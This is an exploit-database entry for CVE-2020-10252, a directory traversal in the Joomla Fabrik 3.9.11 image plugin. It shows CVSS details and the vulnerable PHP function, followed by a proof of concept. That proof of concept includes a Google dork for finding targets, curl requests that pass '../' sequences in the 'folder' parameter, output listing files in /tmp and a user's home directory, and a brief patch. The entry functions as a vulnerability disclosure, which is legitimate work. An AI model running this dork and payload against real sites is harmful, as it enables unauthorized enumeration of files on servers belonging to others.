Exploitalert - Database of Exploits

Joomla Fabrik 3.9.11 Directory Traversal

CVE	Category	Price	Severity
CVE-2020-10252	CWE-22	$500	High

Author	Risk	Exploitation Type	Date
Unknown	Critical	Remote	2020-03-30

CPE
cpe:cpe:/a:joomla:fabrik:3.9.11

CVSS	EPSS	EPSSP
CVSS:4.0/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H	0.03699	0.70312

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Adjacent	AV	The vulnerable system is bound to a protocol stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared proximity (e.g., Bluetooth, NFC, or IEEE 802.11) or logical network (e.g., local IP subnet), or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN within an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2020030176

Joomla Fabrik 3.9.11 Directory Traversal

# Exploit Title: Joomla! com_fabrik 3.9.11 - Directory Traversal #Google Dork: inurl:"index.php?option=com_fabrik" #Date: 2020-03-30 #Exploit Author: qw3rTyTy #Vendor Homepage: https://fabrikar.com/ #Software Link: https://fabrikar.com/downloads #Version: 3.9 #Tested on: Debian/Nginx/Joomla! 3.9.11 ################################################################## #Vulnerability details ################################################################## File: fabrik_element/image/image.php Func: onAjax_files 394 public function onAjax_files() 395 { 396 $this->loadMeForAjax(); 397 $folder = $this->app->input->get('folder', '', 'string');//!!!Possible to directory-traversal. 398 399 if (!strstr($folder, JPATH_SITE)) 400 { 401 $folder = JPATH_SITE . '/' . $folder; 402 } 403 404 $pathA = JPath::clean($folder); 405 $folder = array(); 406 $files = array(); 407 $images = array(); 408 FabrikWorker::readImages($pathA, "/", $folders, $images, $this->ignoreFolders); 409 410 if (!array_key_exists('/', $images)) 411 { 412 $images['/'] = array(); 413 } 414 415 echo json_encode($images['/']); 416 } ################################################################## #PoC ################################################################## $> curl -X GET -i "http://127.0.0.1/joomla/index.php?option=com_fabrik&task=plugin.pluginAjax&plugin=image&g=element&method=onAjax_files&folder=../../../../../../../../../../../../../../../tmp/" ...snip... [{"value":"eila.jpg","text":"eila.jpg","disable":false},{"value":"eilanya.jpg","text":"eilanya.jpg","disable":false},{"value":"topsecret.png","text":"topsecret.png","disable":false}] ...snip... $> curl -X GET -i "http://127.0.0.1/joomla/index.php?option=com_fabrik&task=plugin.pluginAjax&plugin=image&g=element&method=onAjax_files&folder=../../../../../../../../../../../../../../../home/user123/Pictures/" ...snip... [{"value":"Revision2017_Banner.jpg","text":"Revision2017_Banner.jpg","disable":false},{"value":"Screenshot from 2019-02-23 22-43-54.png","text":"Screenshot from 2019-02-23 22-43-54.png","disable":false},{"value":"Screenshot from 2019-03-09 14-59-22.png","text":"Screenshot from 2019-03-09 14-59-22.png","disable":false},{"value":"Screenshot from 2019-03-09 14-59-25.png","text":"Screenshot from 2019-03-09 14-59-25.png","disable":false},{"value":"Screenshot from 2019-03-16 23-17-05.png","text":"Screenshot from 2019-03-16 23-17-05.png","disable":false},{"value":"Screenshot from 2019-03-18 07-30-41.png","text":"Screenshot from 2019-03-18 07-30-41.png","disable":false},{"value":"Screenshot from 2019-03-18 08-23-45.png","text":"Screenshot from 2019-03-18 08-23-45.png","disable":false},{"value":"Screenshot from 2019-04-08 00-09-36.png","text":"Screenshot from 2019-04-08 00-09-36.png","disable":false},{"value":"Screenshot from 2019-04-08 10-34-23.png","text":"Screenshot from 2019-04-08 10-34-23.png","disable":false},{"value":"Screenshot from 2019-04-13 08-23-48.png","text":"Screenshot from 2019-04-13 08-23-48.png","disable":false},{"value":"Screenshot from 2019-05-24 23-14-05.png","text":"Screenshot from 2019-05-24 23-14-05.png","disable":false},{"value":"b.jpg","text":"b.jpg","disable":false},{"value":"by_gh0uli.tumblr.com-8755.png.jpeg","text":"by_gh0uli.tumblr.com-8755.png.jpeg","disable":false},{"value":"max_payne_06.jpg","text":"max_payne_06.jpg","disable":false},{"value":"xxx.jpg","text":"xxx.jpg","disable":false}] ...snip... ################################################################## #Q&D Patch (DO NOT USE :3) ################################################################## --- ./image.php --- +++ image_patched.php --- @@ -394,7 +394,7 @@ public function onAjax_files() { $this->loadMeForAjax(); - $folder = $this->app->input->get('folder', '', 'string'); + $folder = $this->app->input->get('folder', '', 'cmd'); if (!strstr($folder, JPATH_SITE)) {

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